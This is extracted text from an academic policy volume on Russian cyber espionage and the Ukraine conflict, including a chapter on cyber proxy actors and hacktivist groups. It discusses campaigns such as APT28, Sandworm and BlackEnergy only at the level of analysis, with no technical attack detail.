Malware Targeting Russian Attributes Evolves and Maintains Tools for Continued, Long-Term Use Uses malware with flexible and lasting platforms Constantly evolves malware samples for continued use Malware is tailored to specific victims environments, and is designed to hamper reverse engineering efforts Developed in a formal code development environment Various Data Theft Techniques Backdoors using HTTP proto- col Backdoors using victim mail server Local copying to defeat closed/air gapped networks Georgia the Caucasus Ministry of Internal Affairs Ministry of Defence Journalist writing on Cauca- sus issues Kavkaz Center Eastern European Governments Militaries Polish Government Hungarian Government Ministry of Foreign Affairs in Eastern Europe Baltic Host exercises Security-related organisations NATO OSCE Defense attaches Defense events and exhibi- tions Russian Language Indicators Consistent use of Russian malware over a period of six years Lure to journalist writing on Caucasus issues suggests APT28 understands both Russian and English Malware Compile Times Cor- respond to Work Day in Moscows Time Zone Consistent among APT28 samples with compile times from 2007 to 2014 The compile times align with the standards workday in the UTC 4 time zone, which includes major Russian cities such as Moscow and St. Petersburg 73 tary entities, universities, research organisations, and pharmaceutical companies worldwide.16 In August 2015, a group of security researchers described the enterprise-like effort behind the Gameover ZeuS malware and its prolific and FBI-sought author Evgeniy Mikhailovich Bogachev (a.k.a.
Slavik).
The malware was used to facilitate both cyber crime and espionage.
Further, the researchers discovered commands in the malware indicating that the actors sought to gather classified information from victims in Ukraine, Georgia, and Turkey,17 suggesting a link between Russias cyber crime syndicates and government espionage actors.
In late 2014, researchers exposed a long-active Russian group called Sandworm, whose victims included NATO, the Ukrainian Government, EU governments, energy and telecommunications firms, and an American academic organisation.
The group used zero-day exploits and infected victims through a variety of means including malicious PowerPoint attachments and the BlackEnergy toolkit.18 Between 2013 and 2014, actors using the Snake/Uroburos/Turla malware tar- geted Ukrainian computer systems in dozens of cyber operations launched by com- mitted and well-funded professionals.19 This malware is highly complex, reistant to countermeasures, and thought to have been created in 2005.20 Since 2013, Operation Armageddon a Russian cyber espionage campaign allegedly targeting Ukrainian government, law enforcement, and military officials has likely helped provide a military advantage to Russia vis--vis Ukraine from secrets systematically gathered from cyber espionage.
21 In 2012, suspected Russian actors reportedly used the Wipbot and Snake backdoors for long-term cyber espionage.
The actors leveraged legitimate (but compromised) web- sites to systematically deliver malware, particularly to victims in Eastern Europe.22 6 Prepping the Battlefield The cyber espionage activity previously described entails the penetration and exploitation of networks in order to steal sensitive information.
However it is important to note that the network access required for CNE can, depending on 16 Stefan Stanase.
Satellite Turla: APT Command and Control in the Sky.
Securelist Blog.
September 9, 2015.
https://securelist.
com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/.
17 Michael Sandee.
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86
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Operation Armageddon: Cyber Espionage as a Strategic Component of Russian Modern Warfare CTIG Re- port.
| 21,083
| 21,112
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data/reports_final/0086.txt
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Operation Armageddon: Cyber Espionage as a Strategic Component of Russian Modern Warfare CTIG Re- port.
April 28, 2015.
https://lgscout.com/operation-armageddon-cyber-espionage-as-a-strategic-component-of-russian-mod- ern-warfare-ctig-report/.
22 Symantec Security Response.
Turla: Spying tool targets governments and diplomats.
August 7, 2014.
http://www.symantec.com/ connect/blogs/turla-spying-tool-targets-governments-and-diplomats.
http://www.baesystems.com/ai/snakemalware 74 the intent of the attacker, also be used for disruptive or destructive CNA, including what military professionals call preparation of the battlefield for potential conflict scenarios.
23,24 The cyber backdoors used to access environments illicitly or lay low and maintain persistence could also be used to enable future attacks.
Extensive preparation of the battlefield is consistent with Russian strategic thinking.
During the Cold War, the Soviet Union developed highly detailed maps of U.S. and European cities all the way down to individual buildings, terrain, and weather.
This information would be invaluable in the event of invasion or occupation, as in Crimea.25 Russian mapping of an adversarys cyber infra- structure is in principle the same concept.
Computer networks, however, are harder to map: like living organisms, they constantly evolve.
Therefore, todays map might not be good tomorrow, which is why Russian malware implants like HAMMER- TOSS are designed to sustain clandestine access.
6.1 Preparing for Attack?
Is Russia preparing for future cyber attacks on Western critical infrastructure?
This is difficult to prove, but the Sandworm group has reportedly targeted supervisory control and data acquisition (SCADA) equipment, which is used in industrial and critical infrastructure settings, with the BlackEnergy toolkit.26 The victims were pro- duction systems, not vendor-owned prototypes or systems that contained financial information, intellectual property, or political intelligence.
Given the targets seemed to be production systems, there would likely be no benefit from an espionage per- spective to infect these systems.
Rather, the actors using the malware may have been looking for weaknesses to exploit in a future disruptive scenario.
In addition, the use of a crimeware toolkit offers a degree of anonymity or plausible deniability for actors with more destructive purposes.
23 Jen Weedon and Jacqueline Stokes.
Security in an Era of Coercive Attacks.
FireEye Executive Perspectives Blog.
May 14, 2015.
https://www.fireeye.com/blog/executive-perspective/2015/05/security_in_an_erao.html.
24 In the U.S., CNE and CNA may be carried out by different government agencies operating under different authorities, but not all countries will have this same dichotomy.
25 Nick Ballon.
Inside the Secret World of Russias Cold War Maps.
Wired.
http://www.wired.com/2015/07/secret-cold-war-maps/ 26 Kyle Wilhoit and Jim Gogolinski.
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France probes Russian lead in TV5Monde hacking: sources.
| 21,144
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France probes Russian lead in TV5Monde hacking: sources.
Reuters.
June 10, 2015.
http:// www.reuters.com/article/2015/06/10/us-france-russia-cybercrime-idUSKBN0OQ2GG20150610.
31 Adrian Chen.
The Agency.
New York Times.
June 2, 2015.
http://www.nytimes.com/2015/06/07/magazine/the-agency.html?_
r0.
http://www.buzzfeed.com/sheerafrenkel/experts-say-russians-may-have-posed-as-isis-to-hack-french-t.wg4BeJ6xDP http://www.buzzfeed.com/sheerafrenkel/experts-say-russians-may-have-posed-as-isis-to-hack-french-t.wg4BeJ6xDP 76 Russian actors actively sought exposure as the perpetrators, and by doing so, telegraph that they were both willing and capable of pulling off such a scheme, while refining their ability to disrupt and destroy digital media broadcasting capabilities.
8 Cyber War in Ukraine Not Much to See Here There have been significant cyber espionage operations directed against victims related to Russias strategic interests, particularly in regards to the situation in Ukraine.
However we have not seen high profile, coercive and damaging attacks similar to those waged on Estonia in 2007 or Georgia in 2008.
The publicly reported examples of CNA in Ukraine mostly include Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks designed to undermine Ukraines telecommunications infrastructure.
For the attackers, these were likely a low-risk way to disrupt the flow of information within the Ukrainian national security space, as well as a way to selectively and temporarily silence spe- cific voices online.
Some of the known incidents are listed below: November 2013: Russian hackers reportedly defaced and DDoSed the websites of several Ukrainian TV stations, news outlets, and politi- cians.32 February 2014: Russian troops allegedly tampered with Ukraines fibre optic cables and raided Ukrtelecom, which stated that it had lost the technical capacity to provide connection between the peninsula and the rest of Ukraine and probably across the peninsula, too.33 In Crimea, mobile, landline, and internet access were all affected.
March 2014: As Russian troops entered Crimea, the main Ukrainian Government website was shut down for nearly 72 hours,34 many other official government and media websites were targeted in DDoS attacks,35 and the cell phones of many Ukrainian parliamentarians were hacked.36 32 Hromadske.tv under DDoS-attack.
Institute of Mass Information.
November 26, 2013.
http://imi.org.ua/en/news/42266-hro- madsketv-under-ddos-attack.html.
33 Ukrtelecoms Crimean sub-branches officially report that unknown people have seized several telecommunications nodes in the Crimea.
February 28, 2014.
http://en.ukrtelecom.ua/about/news?id120467.
34 Ukraine says communications hit, MPs phones blocked.
Reuters.
March 4, 2014.
http://www.reuters.com/article/2014/03/04/ ukraine-crisis-cybersecurity-idUSL6N0M12CF20140304.
35 Cornelius Rahn, Ilya Khrennikov and Aaron Eglitis.
Russia-Ukraine Standoff Going Online as Hackers Attack.
Bloomberg.
March 6, 2014.
http://www.bloomberg.com/news/articles/2014-03-05/russia-ukraine-standoff-going-online-as-hackers-at- tack.
36 Peter Bergen and Tim Maurer.
Cyberwar hits Ukraine.
CNN.
March 7, 2014.
http://www.cnn.com/2014/03/07/opinion/ber- gen-ukraine-cyber-attacks/.
We have not seen coercive and damaging attacks simi- lar to Estonia or Georgia.
http://www.bloomberg.com/authors/APrBHU6bbIM/cornelius-rahn http://www.bloomberg.com/authors/APp4zwItcaw/ilya-khrennikov http://www.bloomberg.com/authors/AOUFuy4mEe0/aaron-eglitis May 2014: the pro-Russian hacktivist group CyberBerkut claimed responsibility for a breach of the systems of Ukraines Central Elec- tion Commission with malware that would have deleted the results of the presidential election.
However, Ukraines Security Service (SBU) removed the malware and replaced the election software prior to the vote.37 Outside of these limited publicly reported incidents, it appears that the Kremlin has either not needed or not chosen to engage in extensive overt CNA during this conflict.
One reason for this could be that Moscow wants to avoid the international criticism that followed its alleged cyber operations in the 2008 war in Georgia, and in Estonia in 2007.
Instead, Moscow seems to be using more narrowly focused, lim- ited operations in support of strategic state objectives, primarily via sustained cyber espionage rather than widespread attacks.
9 Information War, Not Cyber War In the Russia-Ukraine conflict, computer network operations have not been limited to trite notions of cyber war.
Rather, an examination of the sustained tensions sug- gests that this has been a war waged with and by the strategic theft and manipulation of information, and not extensive application of destructive cyber attacks.
Russias unrelenting cyber espionage campaigns over time, and against so many targets, have no doubt given it a considerable advantage in understanding, anticipating, and in some instances outmanoeuvring its enemies.
This approach may have rendered DDoS and other destructive attacks less necessary or preferable.
While we do not always have definitive attribution, the malicious cyber tools and attacker infrastructure used by these suspected Russian government-backed actors in many ways mimic what we would expect from Russian intelligence operatives, defined by stealth, artistry in tradecraft, and a high regard for operational security.
Yet, as mirrored in Russias real-life politics, some of the actors also appeared flip- pant and even brazen at times, characteristics that could reflect an absence of fear of getting caught or any sense of effective deterrence.
In this sense, such behaviour will no doubt continue, and it remains of the utmost important to anticipate and defend against this activity, both for short-term network security and for long-term international stability.
37 Cyber-attack cripples Ukraines electronic election system ahead of presidential vote.
RT.
May 24, 2014.
http://rt.com/news/161332-ukraine-president-election-virus/.
This has been a war waged with and by the strategic theft and manipulation of information.
79 Cyber Proxies and the Crisis in Ukraine Tim Maurer New America 1 Introduction In July 2015, I travelled to Kyiv to investigate the role of cyber proxy actors as part of a long-term, global research project on the issue.
The Ukrainian crisis seemed like the perfect case study to explore how states use non-state actors and their capa- bilities.
The findings confirmed some of my assumptions but also revealed some surprises.
This article outlines what I learned during the trip based on interviews with 11 individuals including current and former government officials, private sec- tor representatives, security researchers, and Eugene Dokukin, the commander of the Ukrainian Cyber Forces, in addition to a review of existing literature.1 To start, the crisis in Ukraine has several ingredients that appear to make the use of proxies by a state likely, namely (1) an ongoing hot conflict, fuelling (2) incentives for the state to use proxy capabilities and (3) significant capabilities residing outside of but available to the state.
With regard to the second, this includes the general political incentive to be able to claim plausible deniability as well as incentives for the state to augment its own capabilities by adding those provided by non-state actors.
It is also helpful to distinguish between two dimensions when analysing proxy actors to ensure greater analytical clarity.
First, analysing proxy actors is part of the broader academic inquiry into the governance of violence best described by the title 1 Cyber warrior steps up effort to help in war with Russia, KyivPost, February 10, 2015, http://www.kyivpost.com/content/kyiv- post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html?flavourmobile.
Chapter 9 http://www.kyivpost.com/content/kyiv-post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html?flavourmobile http://www.kyivpost.com/content/kyiv-post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html?flavourmobile 80 of Deborah Avants seminal book The Market for Force The Consequences of Privat- izing Security.
In that book, Avant investigates the market for force and the role of public and private actors including proxies.2 The second, narrower dimension focuses on proxy actors used to commit internationally wrongful acts using ICTs.3 This is the language used in the most recent report of the Group of Governmental Experts (GGE) that is leading the international communitys global cybersecurity norms effort under the auspices of the United Nations.
Unlike the first dimension which examines proxy actors more broadly including those that are used by states for defensive pur- poses, this second lens is about proxy actors used to cause harm to another party.
This short chapter will look at both private actors involved in the general pro- vision of security for the benefit of the state, and private actors using force against a third party to the benefit of the state, but will focus on the latter.
The first section outlines in greater detail the conditions present in the region assumed to contribute to the existence of proxy actors.
The second part describes the proxy actors that are publicly known to have been active during the crisis.
2 The Making of a Hot Conflict The hot conflict between Ukraine and Russia was the result of simmering political ten- sion that escalated in November 2013, when former Ukrainian president Viktor Yanu- kovych abandoned plans to sign a trade agreement with the EU.
Yanukovychs deci- sion incited mass protests that were met with a violent government crackdown.
In November, long before Yanukovychs flight in February and the build-up of Russian troops on the Crimean border, reports emerged that Russian hacker groups were executing Distributed Denial of Service (DDoS) attacks and defacing websites critical to the Yanukovych governments relation- ship with Russia.
This period was characterised by low-level hacking targeting highly visible websites, either rendering them unavailable or changing their content.
On February 28, shortly after Yanukovych left the country, unmarked soldiers, that Russias President Putin later acknowledged4 to be Russian troops, seized a military airfield in Sevastopol and Simferopol international airport.
Concurrently, armed sol- 2 The Market for Force The Consequences of Privatizing Security, Cambridge University Press, 2005, http://www.cambridge.
org/US/academic/subjects/politics-international-relations/comparative-politics/market-force-consequences-privatizing-se- curity.
3 United Nations, General Assembly, Report of the Group of Governmental Experts on Developments in the Field of Information and Telecommunications in the Context of International Security,United Nations, July 22, 2015, http://www.un.org/ga/search/ view_doc.asp?symbolA/70/174.
4 Vladimir Putin admits for first time Russian troops took over Crimea, refuses to rule out intervention in Donetsk, National Post, April 17, 2014, http://news.nationalpost.com/news/world/vladimir-putin-admits-for-first-time-russian-troops-took- over-crimea-refuses-to-rule-out-intervention-in-donetsk.
Long before Yanukovychs flight, Russian hacker groups were executing DDoS attacks and defacing websites.
http://www.cambridge.org/US/academic/subjects/politics-international-relations/comparative-politics/market-force-consequences-privatizing-security http://www.cambridge.org/US/academic/subjects/politics-international-relations/comparative-politics/market-force-consequences-privatizing-security http://www.cambridge.org/US/academic/subjects/politics-international-relations/comparative-politics/market-force-consequences-privatizing-security http://www.un.org/ga/search/view_doc.asp?symbolA/70/174 http://www.un.org/ga/search/view_doc.asp?symbolA/70/174 http://news.nationalpost.com/news/world/vladimir-putin-admits-for-first-time-russian-troops-took-over-crimea-refuses-to-rule-out-intervention-in-donetsk http://news.nationalpost.com/news/world/vladimir-putin-admits-for-first-time-russian-troops-took-over-crimea-refuses-to-rule-out-intervention-in-donetsk 81 diers tampered with fibre optic cables, raiding the facilities of Ukrainian telecom firm Ukrtelecom, which stated afterward that it had lost the technical capacity to provide connection between the peninsula and the rest of Ukraine and probably across the peninsula, too.5 In addition, cell phones of Ukrainian parliamentarians were hacked and the main Ukrainian government website was shut down for 72 hours after Rus- sian troops entered Crimea on March 2.
Patriotic Ukrainian hacker groups such as Cyber Hundred and Null Sector retaliated with DDoS attacks of their own against websites of the Kremlin and the Central Bank of Russia.6 The day before the presi- dential election, Ukraines Security Service (SBU) discovered malware in the systems of the Central Election Commission designed to compromise data collected on the results of the election, revealing how close Russian hackers had come to sabotaging the results.7 The hacker group Cyber Berkut claimed responsibility.8 3 Incentives for the State to Use Capabilities in Private Hands A general political incentive for states to use proxies is summed up by the concept of plausible deniability.
Developed in the context of maritime privateering, it was: invented [by state rulers] at the turn of the seventeenth century.
If a private undertaking that a ruler authorised met with success, s/he could claim a share in the profits.
If the enterprise caused conflict with another state, the ruler could claim it was a private operation for which s/he could not be held responsible.9 While some of the specific elements of maritime privateering are no longer rel- evant today, the general concept and logic for this type of behaviour still apply and exist today.
For example, the Russian Government denied any involvement in the Ukrainian crisis for many months, in spite of eyewitness accounts and news reports plainly stating otherwise.
One particularly horrible example of plausible deniability was the mass murder of the passengers on Malaysia Airlines flight 17.
The benefits of plausible deniability also apply to the Ukrainian Government.
The Ukrainian Cyber Forces, led by Eugene Dokukin, is a volunteer group that 5 Feb. 28 Updates on the Crisis in Ukraine, The New York Times News Blog, February 28, 2014, http://thelede.blogs.nytimes.
com/2014/02/28/latest-updates-tensions-in-ukraine/?_r0.
6 Kremlin website hit by powerful cyber attack, Reuters, March 14, 2014, http://www.reuters.com/article/2014/03/14/us-rus- sia-kremlin-cybercrime-idUSBREA2D16T20140314.
7 Cyber-attack cripples Ukraines electronic election system ahead of presidential vote, RT, 24 May, 2014, http://www.rt.com/ news/161332-ukraine-president-election-virus/.
8 Ukraine election narrowly avoided wanton destruction from hackers (video), The Christian Science Monitor, June 17, 2015, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hack- ers-video.
9 Janice Thomson.
Mercenaries, Pirates, and Sovereigns (Princeton, NJ: Princeton University Press, 1994), 21.
Political incentive for states to use proxies is summed up by the concept of plausible deniability.
http://thelede.blogs.nytimes.com/2014/02/28/latest-updates-tensions-in-ukraine/?_r0 http://thelede.blogs.nytimes.com/2014/02/28/latest-updates-tensions-in-ukraine/?_r0 http://www.reuters.com/article/2014/03/14/us-russia-kremlin-cybercrime-idUSBREA2D16T20140314 http://www.reuters.com/article/2014/03/14/us-russia-kremlin-cybercrime-idUSBREA2D16T20140314 http://www.rt.com/news/161332-ukraine-president-election-virus/ http://www.rt.com/news/161332-ukraine-president-election-virus/ http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video 82 occasionally publishes data from the Russian Ministry of the Interior, and at one point threatened to shut down the internet in the Crimea and other cities in eastern Ukraine.10 There is no evidence suggesting that the Ukrainian Government coor- dinates or directly supports any of the Ukrainian Cyber Forces activities, and my own research supports this conclusion.
At the same time, the Government benefits from its activities with or without its involvement.
For the Ukrainian Government, another set of incentives is arguably more important than the political ones: its own limited capabilities, and the possibility to rely on proxy actors to augment these capabilities in the face of a much more powerful opponent.
The Russian Government is considered to be among the most sophisticated actors with significant in-house cyber capabilities,11 and the government in Ukraine faced a dire situation at the beginning of the conflict.
Its military had essentially been falling apart since the end of the Soviet Union and Kyiv was ill-prepared for a conflict with Russia.
As Dmitry Gorenburg points out: At the time of its creation, the Ukrainian military was considered the fourth most powerful conventional military force in the world, behind only the United States, Russia, and China.
However, these forces were allowed to atrophy throughout the post-Soviet period, with virtually no funding provided for the maintenance of equipment or troop training.
Reforms were not carried out and there were no attempts at rearmament to replace aging Soviet equipment.12 The responses from several interviewees confirmed this assessment.
4 Capabilities Outside the State In order for a state to be able to pursue the incentives of using proxy actors, private actor capabilities must exist in the first place.
With regard to cyberspace, such capa- bilities include those present within a states territory and beyond.
Regarding the former, significant capabilities have been present in Ukraine and Eastern Europe since the 1980s.
Misha Glenny, the award-winning journalist, recounts in his 2011 book Dark Market How Hackers Became the New Mafia that: The hackers of Eastern Europe played a particularly important role in crack- ing security devices played on softwareBulgaria, Ukraine and Russia set the pace, with the Romanians not far behind.13 10 Ukraines Lonely Cyberwarrior vs. Russia, The Daily Beast, February 18, 2015, http://www.thedailybeast.com/arti- cles/2015/02/18/ukraine-s-lonely-cyber-warrior.html.
11 Russia Tops China as Principal Cyber Threat to US, The Diplomat, March 3, 2015, http://thediplomat.com/2015/03/russia- tops-china-as-principal-cyber-threat-to-us/.
12 Dmitry Gorenburg.
Russia and Ukraine: Not the Military Balance You Think, War on the Rocks, November 10, 2015, http:// warontherocks.com/2014/11/russia-and-ukraine-not-the-military-balance-you-think/.
13 Misha Glenny.
McMafia: A Journey Through the Global Criminal Underworld (New York, Vintage Books: 2009), 59 see also Nadiya Kostyuks chapter in this book.
http://thediplomat.com/2015/03/russia-tops-china-as-principal-cyber-threat-to-us/ http://thediplomat.com/2015/03/russia-tops-china-as-principal-cyber-threat-to-us/ http://warontherocks.com/2014/11/russia-and-ukraine-not-the-military-balance-you-think/ http://warontherocks.com/2014/11/russia-and-ukraine-not-the-military-balance-you-think/ 83 Ukraine was the cradle of CarderPlanet, which was changing the nature of cyber- crime around the world.14 One explanation why technically skilled people in the region decided to pursue cybercrime to make a living was the lack of other opportunities.
For example, a job in the Ukrainian Government for somebody in his 20s pays roughly 3,000 a year, not a month.
And while Samsung has one of its largest RD centres in Kyiv, the private IT industry is neither large nor attractive enough to absorb all of the skilled labour, unlike in Israel, for example.15 Interestingly, CarderPlanet was penetrated and compromised by the Russian Secret Police almost as soon as it was set up but: why would the KGB waste resources on investigating networks that are ripping off American and European credit cards?
A complete waste of time.
So for the moment, Moscow was content to observe and store information.
They knew exactly who was who in the Odessa carding community.16 Yet, it was not only the FSB that knew what was happening in Eastern European countries.
In 2009, Brian Krebs, an expert on cybercrime in the region and widely read not only by law enforcement officials in the U.S. but also Ukraine, wondered: whether authorities in those countries would be any more willing to pursue cyber crooks in their own countries if they were forced to confront just how deeply those groups have penetrated key government and private computer networks in those regions?
An example is Dmitry Ivanovich Golubov, once considered a top cybercrime boss by U.S. law enforcement, but now a leader of the Ukrainian Internet Party participating in parliamentary elections.
Russian agencies reportedly provide little assistance with shutting down networks such as the Russian Business Network.
Last but not least, cyber criminals also do their best to avoid attracting local law enforce- ment attention.
As Krebs notes: Some of the most prolific and recognizable malware disbursed by Russian and East European cyber crime groups purposefully avoids infecting computers if the program detects the potential victim is a native resident.17 In sum, there is no shortage in the region of labour skilled in information tech- nology and hacking, while a mature industry is missing, and government salaries of a few thousand dollars a year pale in comparison to reports of thousands or millions of dollars made in the latest cyber heist.
14 Misha Glenny.
McMafia: A Journey Through the Global Criminal Underworld, 48.
15 Nearshoring: Top 20 largest In-House RD offices in Ukraine,GoalEurope, October 4, 2013, http://goaleurope.
com/2013/10/04/nearshore-outsourcing-top-20-largest-rd-offices-in-ukraine/.
16 Misha Glenny.
McMafia: A Journey Through the Global Criminal Underworld, 52-53.
17 Story-Driven Rsum: My Best Work 2005-2009, KrebsonSecurity, December 9, 2010, http://krebsonsecurity.com/2009/12/ story-driven-resume-my-best-work-2005-2009-3/.
http://goaleurope.com/2013/10/04/nearshore-outsourcing-top-20-largest-rd-offices-in-ukraine/ http://goaleurope.com/2013/10/04/nearshore-outsourcing-top-20-largest-rd-offices-in-ukraine/ http://krebsonsecurity.com/2009/12/story-driven-resume-my-best-work-2005-2009-3/ http://krebsonsecurity.com/2009/12/story-driven-resume-my-best-work-2005-2009-3/ 84 5 Mapping and Analysis of Proxy Actors There are several important findings regarding proxies and the conflict in Ukraine.
The first is that proxy actors are active as part of the conflict in Ukraine.
The second is that the amount of cyber proxy activity has remained relatively low.
There are two likely explanations for this: there has been a relatively low number of significant cyber incidents associated with the conflict other than during its initial phase as described above and while there was clearly a significant wave of patriotism and willingness by Ukrainian citizens to volunteer and support the government, several interviewees suggested that the government in Kyiv did not have the ability to absorb and coordinate these extra capacities.
In other words, to draw from the political science literature on power, while significant cyber power resources in the hands of private actors existed, the Ukrainian Government was not able to effectively mobilise these resources to actually project power.
Kyivs cyber power was inhibited by a lack of what Alexander Klimburg calls integrated national capability.18 Thirdly, the conflict does not appear to have mobilised the most sophisti- cated non-state actors with cyber capabilities in the region the cybercriminals to change their profit-driven behaviour to more politically-driven action.
While the conflict apparently politicised and led to a split of the criminal underground commu- nity in the autumn of 2014, the effect was ephemeral and once the cybercriminals realised that their spat started to affect their business, money trumped politics, according to Konstatin Korsun, head of coun- cil at the NGO Ukrainian Information Security Group and director at the private cybersecurity company Berezha Security.19 A closer look reveals a range of proxy actors has been active.
In the context of a broader analysis of the market for force, it is notable that the crisis in Ukraine demonstrated that cybersecurity is a domain where private actors possess signifi- cant capabilities and are used by states for both defensive and offensive purposes.
For example, the limited capabilities of the Ukrainian Government have been aug- mented through NATO assistance, namely its Cyber Defence Trust Fund, to train and improve Ukraines cyber defences.
Interestingly, the lead NATO member pro- viding that assistance, Romania, has itself not been providing this assistance directly through its government, but is relying on a proxy actor, a state-owned company called Rasirom, to provide the service.20 18 Joseph S. Nye, Jr.
The Future of Power (New York: Public Affairs, 2011).
Alexander Klimburg, Mobilising Cyber Power, Survival 53.1 (2011), 56.
19 Kostiantyn Korsun, LinkedIn, accessed August 25, 2015, https://ua.linkedin.com/pub/kostiantyn-korsun/1b/12b/580.
20 Romania Turns Hacking Crisis Into Advantage, Helping Ukraine, The New York Times, May 13, 2015, http://www.nytimes.
com/aponline/2015/05/13/world/europe/ap-eu-romania-ukraine-cyber-warfare.html NATO-Ukraine Trust Fund on Cyber Defence, Romanias Permanent Representation to NATO, accessed August 25, 2015, http://nato.mae.ro/en/local-news/804.
Once cybercriminals real- ised that their spat started to affect business, money trumped politics.
http://www.nytimes.com/aponline/2015/05/13/world/europe/ap-eu-romania-ukraine-cyber-warfare.html http://www.nytimes.com/aponline/2015/05/13/world/europe/ap-eu-romania-ukraine-cyber-warfare.html http://nato.mae.ro/en/local-news/804 85 While criminal groups have not been active players in the Ukraine conflict, the most prominent proxy actors have been hacktivist groups.
These groups include pro- Kyiv OpRussia, Russian CyberCommand (which considers itself to be part of Anon- ymous),21 Cyber Ukrainian Army, Cyber Hundred, Null Sector,22 and the pro-Mos- cow CyberBerkut and Anonymous Ukraine.23 Their activities have been limited to DDoS attacks, web defacements, and the occasional leaking of government files.
The most serious incident involved the aforementioned targeting of the Ukrainian voting system during the Ukrainian Presidential election.
While Ukrainian govern- ment officials and many news reports blame the Russian Government for indirectly orchestrating these operations, as well as for the crude hack attacks on Ukrainian state websites, the Russian Government has vehemently denied accusations that it has any influence over these groups.
Evidence for a relationship between pro-Rus- sian separatists or hacker groups such as Cyber Berkut and the Russian Government remains lacking.
The Ukrainian Cyber Force has been among the most prominent Ukrainian hacktivist groups.
It is led by Eugene Dokukin and a group of volunteers he recruited through social media, whose number has fluctuated from several dozens to a few hundred, and primarily includes ordinary citizens without a technical background.24 The Ukrainian Cyber Force combines a series of different activities, ranging from the unauthorised monitoring of CCTV cameras in eastern Ukraine and Russia, to reporting troop and separatist activities to web companies in an effort to shut down their accounts, launching DDoS attacks against websites, and leaking sensitive doc- uments from the Russian Government.
While Dokukin has given a series of inter- views and shares information about his actions with the media and the government, there is no evidence that the government coordinates or supports him financially or otherwise.
Instead, the government has been turning a blind eye.
Related to the conflict in Ukraine are the findings of several industry reports.
The U.S.-based security company FireEye published a report titled APT28: A Win- dow into Russias Cyber Espionage Operations?,
detailing the activities of a group conducting political espionage against East European countries and security organ- isations.
FireEye: conclude[s] that we are tracking a focused, long-standing espionage effort.
Given the available data, we assess that APT28s work is sponsored by the Rus- sian Government.25 21 Jeffrey Carr.
Rival hackers fighting proxy war over Crimea, CNN, March 25, 2014, http://www.cnn.com/2014/03/25/opinion/ crimea-cyber-war/.
22 Cyber Wars: The Invisible Front, Ukraine Investigation, April 24, 2014, http://ukraineinvestigation.com/cyber-wars-invisi- ble-front/.
23 Cyber Berkut Graduates From DDoS Stunts to Purveyor of Cyber Attack Tools, Recorded Future, June 8, 2015, https://www.
recordedfuture.com/cyber-berkut-analysis/.
24 Cyber warrior steps up effort to help in war with Russia, KyivPost, February 10, 2015, http://www.kyivpost.com/content/kyiv- post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html.
25 APT28 A Window Into Russias Cyber Espionage Operations?
FireEye, October 27, 2014, https://www2.fireeye.com/apt28.
html.
http://www.cnn.com/2014/03/25/opinion/crimea-cyber-war/ http://www.cnn.com/2014/03/25/opinion/crimea-cyber-war/ http://ukraineinvestigation.com/cyber-wars-invisible-front/ http://ukraineinvestigation.com/cyber-wars-invisible-front/ https://www.recordedfuture.com/cyber-berkut-analysis/ https://www.recordedfuture.com/cyber-berkut-analysis/ http://www.kyivpost.com/content/kyiv-post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html http://www.kyivpost.com/content/kyiv-post-plus/cyber-warrior-steps-up-effort-to-help-in-war-with-russia-380184.html https://www2.fireeye.com/apt28.html https://www2.fireeye.com/apt28.html Perhaps the most interesting report is the one published by the Finnish firm F-Secure titled BlackEnergy Quedagh The convergence of crimeware and APT attacks.
The authors highlight that in 2014, malware named BlackEnergy, originally developed and used for criminal profit-driven purposes, was deployed against gov- ernment organisations in Ukraine by a group the report calls Quedagh.
The report concludes by stating that: the use of BlackEnergy for a politically-oriented attack is an intriguing conver- gence of criminal activity and espionage.
As the kit is being used by multiple groups, it provides a greater measure of plausible deniability than is afforded by a custom-made piece of code.26 6 Conclusion The conflict in Ukraine includes a range of proxy actors and proxy activity.
This should be expected given the existence of a hot conflict, the presence of significant cyber capa- bilities in private hands, and incentives for the nations involved to use these private capabilities.
However, the amount of cyber proxy activity has remained relatively low, much like the overall level of computer network operations compared to what some experts predicted.
It is notable that the conflict does not appear to have politicised and mobilised the most sophisticated non-state actors with cyber capabilities the cyber- criminals to change their profit-driven behaviour to more politically-driven action.
Moreover, the Ukrainian Government has not had the capacity and strategy in place to be able to absorb the additional capabilities provided by volunteers.
Kyiv has therefore not been able to mobilise and project the full potential of Ukraines power due to the limited use of its true power resources.
While the Ukrainian Government regularly accuses the Russian Government of using proxies, there seems to be less vehemence from the Russian side criticising, for example, the activities of the Ukrainian Cyber Forces.
According to one interviewee, one explanation is that the Russian Govern- ment has more to gain from being able to point to the existence of Ukrainian proxies in order to thereby indirectly legitimise the existence of Russian proxies.
While this chapter hopefully shed some light on the role of proxy actors in the Ukraine conflict, it is necessary to point to some important limitations and issues that were beyond the scope of this short piece.
First, the term proxies lacks a clear definition.
While it is used in the GGE report, it is not defined, even though the report distinguishes proxies as a separate type of actor from state and non-state actors.
Developing a more systematic and nuanced analytical framework for proxies is therefore the focus of my current research.
This will hopefully be useful for future empirical research on proxy actors around the world, as well as for ongoing policy discussions through the GGE and elsewhere.
26 The convergence of crimeware and APT attacks, F-Secure, 2014, https://www.f-secure.com/documents/996508/1030745/ blackenergy_whitepaper.pdf.
https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf 87 Russian Information Warfare: Lessons from Ukraine Margarita Levin Jaitner Swedish Defense University 1 Introduction Information is now a species of weapon,1 write Russians Maj.
Gen. (R) Ivan Vorob- yev and Col. (
R) Valery Kiselyov.
Closer to the truth is that Russia has a long history of using information as a weapon both in the context of mobilising its own popu- lation2 and in demonising foreign powers.3 Therefore, it is only natural that Russia has employed Information Warfare (IW) in Ukraine: from the onset of the Euromaidan demonstrations, to the annexation of Crimea, and as a dimension of ongoing military operations in eastern Ukraine.
